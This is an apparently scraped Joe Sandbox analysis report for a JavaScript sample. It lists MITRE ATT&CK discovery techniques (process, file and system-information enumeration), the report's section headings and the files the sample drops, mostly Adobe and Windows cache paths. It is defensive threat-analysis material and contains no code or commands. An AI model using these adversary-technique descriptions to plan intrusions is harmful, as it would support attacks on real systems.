Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1794629123897518052.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8fae3712-b569-4025-a661-cc8925e052b8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7892

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1794629123897518052.js